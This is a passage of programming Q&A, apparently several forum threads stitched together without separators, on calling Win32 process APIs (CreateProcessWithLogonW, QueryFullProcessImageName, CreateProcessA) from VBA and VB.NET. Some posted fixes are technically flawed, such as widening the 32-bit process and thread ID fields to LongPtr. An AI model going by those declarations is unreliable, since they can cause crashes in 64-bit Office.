ret = CloseHandle(proc.hProcess) ' TEST proc.hProcess is LongPtr
End Sub
I have an Outlook 2016 (64-bit) running next vba code, and when the function exits, Outlook crashes. The api executes fine and I see notepad launched under an other user.
Sub TestRunAs()
If User_RunAs("jonny", "JonnysPassword", "lvd.be", "c:\windows\notepad.exe") Then
MsgBox ("Ok, executed!")
End If
End Sub
This is the function;
Public Function User_RunAs(ByVal sUserName As String, ByVal sPassword As String, ByVal sDomain As String, ByVal sCommand As String) As Boolean
Dim lReturn As Long
Dim sApplication As String
Dim sDirectory As String
Dim tPInfo As PROCESS_INFORMATION
Dim tStart As STARTUPINFO
'/* default struct
sApplication = vbNullString
sDirectory = vbNullString
tStart.Cb = LenB(tStart)
tStart.dwFlags = 0&
lReturn = CreateProcessWithLogonW(StrPtr(sUserName), StrPtr(sDomain), StrPtr(sPassword), &H1, _
0&, StrPtr(sCommand), _
DEFAULT_LOGON, 0&, StrPtr(sDirectory), _
tStart, tPInfo)
' 1st row LongPtr LongPtr LongPtr Long
' 2nd row Long LongPtr
' 3rd row Long Long LongPtr
' 4th row Structure Structure
'/* success
If Not lReturn = 0 Then
User_RunAs = True
End If
'/* cleanup
If tPInfo.hProcess <> 0 Then
CloseHandle tPInfo.hThread
CloseHandle tPInfo.hProcess
End If
End Function
The definition is as follow;
'Types used by function User_RunAs
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadId As Long
End Type
Private Type STARTUPINFO
Cb As Long
lpReserved As Long
lpDesktop As Long
lpTitle As Long
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
Private Declare PtrSafe Function CreateProcessWithLogonW Lib "advapi32" (ByVal lpUserName As LongPtr, ByVal lpDomain As LongPtr, ByVal lpPassword As LongPtr, ByVal dwLogonFlags As Long, _
ByVal lpApplicationName As Long, ByVal lpCommandLine As LongPtr, _
ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As LongPtr, _
ByRef lpStartupInfo As STARTUPINFO, ByRef lpProcessInfo As PROCESS_INFORMATION) As Long
Even when quiting the function just after the api call, Outlook crashes with next report;
When reading the MS documentation about compatibility on different bit version I found that on structures passed the Long must be replaced by LongPtr. See https://learn.microsoft.com/en-us/previous-versions/office/developer/office-2010/ee691831(v=office.14)
E.g. The passed structure
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadId As Long
End Type
must now be;
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As LongPtr
dwThreadId As LongPtr
End Type
QueryFullProcessImageName always return 0,can not retrieve process path,code below,need you help,thanks.
Public Declare Function QueryFullProcessImageName Lib "Kernel32.dll" Alias "QueryFullProcessImageNameA" (hProcess As Long, ByVal dwFlags As Long, ByVal lpExeName As String, lpdwSize As Long) As Long
Private Function GetProcessImageName(ByVal lProcessID As Long) As String
Dim hProcess As Long
Dim sBuf As String
Dim sChar As Long
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION Or PROCESS_QUERY_INFORMATION, 0, lProcessID)
If hProcess Then
sBuf = String$(MAX_PATH, Chr$(0))
QueryFullProcessImageName hProcess, 0, sBuf, MAX_PATH
sBuf = Left$(sBuf, sChar)
End If
GetProcessImageName = sBuf
CloseHandle hProcess
End Function
if you use the GetLastError Function you'll be able to get more information of why it returns 0.
There are a couple issues in the code.
First, sChar is never initialized.
Also, the first parameter to QueryFullProcessImageName is an "In" param so it should be passed ByVal. That may be the cause of the invalid handle error 6.
This thread has some helpful information about how to get the length back when calling QueryFullProcessImageName: http://www.vbforums.com/showthread.php?805537-RESOLVED-Excel-Crash-when-call-API-function-QueryFullProcessImageName-in-excel-VBA-of-win7.
Finally, per https://msdn.microsoft.com/en-us/library/windows/desktop/ms684880(v=vs.85).aspx, "A handle that has the PROCESS_QUERY_INFORMATION access right is automatically granted PROCESS_QUERY_LIMITED_INFORMATION", so remove the unneeded access right.
With that info, try something like this (untested):
Public Declare Function QueryFullProcessImageName Lib "Kernel32.dll" Alias "QueryFullProcessImageNameA" _
(ByVal hProcess As Long, ByVal dwFlags As Long, ByVal lpExeName As String, ByRef lpdwSize As Long) As Long
Private Function GetProcessImageName(ByVal lProcessID As Long) As String
Dim hProcess As Long
Dim sBuf As String
Dim sChar As Long
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, 0, lProcessID)
If hProcess Then
sBuf = String$(MAX_PATH, Chr$(0))
sChar = MAX_PATH
QueryFullProcessImageName hProcess, 0, sBuf, sChar
sBuf = Left$(sBuf, sChar)
End If
GetProcessImageName = sBuf
CloseHandle hProcess
End Function
How to detect when the selected process is closed in vb.net ? i tried all codes in google, but it still fails.
here's the code :
Private Sub Process1_Exited(ByVal sender As System.Object,
ByVal e As System.EventArgs) Handles Process1.Exited
MessageBox.Show("exited")
End Sub
but when the process is closed, there's nothing appear.
Process1_Exited is an event handler - you have to register it.
You may want to work with Process class. See Process.Exited.
Dim Process1 As New Process ' Getting a new object
Process1.StartInfo.FileName = "" ' Setting up the file path
Process1.EnableRaisingEvents = True ' Enabling raising events
AddHandler Process1.Exited, AddressOf Process1_Exited ' Registering your event handler
Process1.Start() ' Starting the process
Private Sub Process1_Exited(ByVal sender As Object, ByVal e As System.EventArgs)
' Process exited
End Sub
Add these Win32 declarations
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessID As Long
dwThreadID As Long
End Type
Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal _
hHandle As Long, ByVal dwMilliseconds As Long) As Long
Private Declare Function CreateProcessA Lib "kernel32" (ByVal _
lpApplicationName As String, ByVal lpCommandLine As String, ByVal _
lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, _
ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _
ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As String, _
lpStartupInfo As STARTUPINFO, lpProcessInformation As _
PROCESS_INFORMATION) As Long
Private Declare Function CloseHandle Lib "kernel32" _
(ByVal hObject As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" _
(ByVal hProcess As Long, lpExitCode As Long) As Long
Private Const NORMAL_PRIORITY_CLASS = &H20&
Private Const INFINITE = -1&
Public Function ExecCmd(cmdline$)
Dim proc As PROCESS_INFORMATION
Dim start As STARTUPINFO
' Initialize the STARTUPINFO structure:
start.cb = Len(start)
' Start the shelled application:
ret& = CreateProcessA(vbNullString, cmdline$, 0&, 0&, 1&, _
NORMAL_PRIORITY_CLASS, 0&, vbNullString, start, proc)
' Wait for the shelled application to finish:
ret& = WaitForSingleObject(proc.hProcess, INFINITE)
Call GetExitCodeProcess(proc.hProcess, ret&)
Call CloseHandle(proc.hThread)
Call CloseHandle(proc.hProcess)
ExecCmd = ret&
End Function
Sub Your_Sub_To_Wait_For_Exit()
Dim retval As Long
retval = ExecCmd("notepad.exe")
MsgBox "Process Finished, Exit Code " & retval
End Sub
The MsgBox statement following the ExecCmd() function is not executed because the WaitForSingleObject() function prevents it. The message box does not appear until Notepad is closed when the user chooses Exit from Notepad's File menu (ALT, F, X)